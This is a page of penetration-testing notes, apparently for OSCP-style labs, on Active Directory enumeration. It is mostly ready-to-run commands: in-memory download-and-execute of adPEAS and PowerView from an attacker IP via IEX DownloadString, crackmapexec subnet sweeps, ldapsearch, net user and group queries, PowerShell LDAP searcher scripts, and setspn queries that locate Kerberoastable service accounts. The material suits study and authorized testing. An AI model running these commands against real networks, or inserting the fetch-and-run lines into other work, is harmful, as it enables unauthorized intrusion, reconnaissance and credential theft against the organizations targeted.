OffSec Notes
search
⌘Ctrlk
All Gitbook
OffSec Notes
  • General
    • Common Operations (tty, SSH, rbash)
    • Post-exploit check
    • Privesc
    • Metasploit
    • Python
  • Reconnaissance
    • DNS 53
    • Nmap / Masscan / Autorecon
    • Searchsploit
    • Services
    • Target Host Enumeration
  • Common Attack
    • Buffer Overflow
    • MS Office
  • Web Attack
    • Web Enumeration
    • Webshell to stable shell
    • SQL Injections & Enum
  • Password Attack
    • Bruteforce
    • Hash Crack
    • Custom Wordlist
    • SSH Authorized_key reuse
  • AD Attack
    • Enumeration
      • Flow
    • Ticket manipulations mimi
    • DCOM P.664 / AD DCOM .one
    • Password hash dump and reuse
    • Impersonating token & pivot
    • Tunneling / (with SSH key)
gitbookPowered by GitBook
block-quoteOn this pagechevron-down
  1. AD Attack

Enumeration

LogoLEARNING OSCP: Day #7 Rooted a whole AD domain. I will share my methodology. There are multiple pa... - Ansh BhawnaniRattibhachevron-right
LogoThe Hacker Recipeswww.thehacker.recipeschevron-right
LogoIntroduction | The Hacker Toolstools.thehacker.recipeschevron-right
LogoGitHub - 61106960/adPEAS: Powershell tool to automate Active Directory enumeration.GitHubchevron-right

hashtag
ldap search

hashtag
CME enum network

hashtag
PowerView

LogoPowerView/SharpView - HackTricksbook.hacktricks.xyzchevron-right
LogoPowerView CheatSheet | Undergrad CyberSec Noteszflemingg1.gitbook.iochevron-right

hashtag
Tradition

hashtag
Current domain

hashtag
Build LDAP provider path

hashtag
Search all AD users / specific user

hashtag
SPN

Find name for service account name and serviceprincipalname to generate ticket

may save as .ps1

hashtag
alternative

Previouspersisting ssh login with ssh-keygenchevron-leftNextFlowchevron-right

Last updated 2 years ago

  • Tradition
  • Current domain
  • Build LDAP provider path
  • Search all AD users / specific user
  • SPN

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/adPEAS.ps1');Invoke-adPEAS -Domain 'domain.com' -Server 'dc01.domain.com'
or
Invoke-WebRequest -Uri "http://192.168.45.5/adPEAS.ps1" -OutFile "C:\tmp\adPEAS.ps1"
Import-Module .\adPEAS.ps1
Invoke-adPEAS -Domain 'domain.com' -Server 'dc01.domain.com'

#with creds
$SecPassword = ConvertTo-SecureString 'Pass' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\johndoe', $SecPassword)
Invoke-adPEAS -Domain 'domain.com' -Cred $Cred

Invoke-adPEAS -Domain 'domain.com' -Server 'dc1.domain.com' -Username 'domain\johndoe' -Password 'pass' -Force
ldapsearch -x -H LDAP://192.168.222.122 -D '' -w '' -b "DC=hutch,DC=offsec" > ldapuser
crackmapexec smb 192.168.0.0/24

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/PowerView.ps1')

Invoke-WebRequest -Uri "http://192.168.45.5/PowerView.ps1" -OutFile "C:\tmp\PowerView.ps1"
Import-Module .\PowerView.ps1

Get-NetDomain #Domain info
Get-DomainController #DC info
Get-NetUser -SPN #Kerberoastable users
Get-NetUser -Domain msp.local | Where-Object {$_.servicePrincipalName}

Get-NetComputer

Get-NetUser
Get-DomainGroupMember "Domain Admins" -Recurse

Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
Get-NetSession -ComputerName <servername> #Get active sessions on the host
net user
net user /domain
net user xxx /domain
net group /domain (pdf p.632 for enum groups)
net group "domain admins" /domain
net localgroup "administrators"

whoami /group
net user /domain
net localgroup /domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

PdcRoleOwner : DC01.corp.com (primary dc)
Name : corp.com
nslookup
set type=all
_ldap._tcp.dc._msdcs.sandbox.local
nmap -sC
net user /domain (as admin)
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$SearchString

LDAP://DC01.corp.com/DC=corp,DC=com
#$domainObj = dc01.corp.com # if as a local user instead of domain user
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
    Write-Host "------------------------"
}
$Searcher.filter="name=Jeff_Admin"
# as a local user
$domainObj = dc01.corp.com
# or as domain user > [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

$PDC = ($domainObj.PdcRoleOwner).Name

$SearchString = "LDAP://"
$SearchString += $PDC + "/"

$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"

$SearchString += $DistinguishedName

$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)

$objDomain = New-Object System.DirectoryServices.DirectoryEntry

$Searcher.SearchRoot = $objDomain

$Searcher.filter="serviceprincipalname=*corp*"

$Result = $Searcher.FindAll()

Foreach($obj in $Result)
{
    Foreach($prop in $obj.Properties)
    {
        $prop
    }
Write-Host "------------------------"
}
setspn -T * -F -Q */* 
setspn -T domain.local -F -Q */* 

setspn -T $env:computername -F -Q */*  (if no domain name)
nslookup corpweb.corp.comer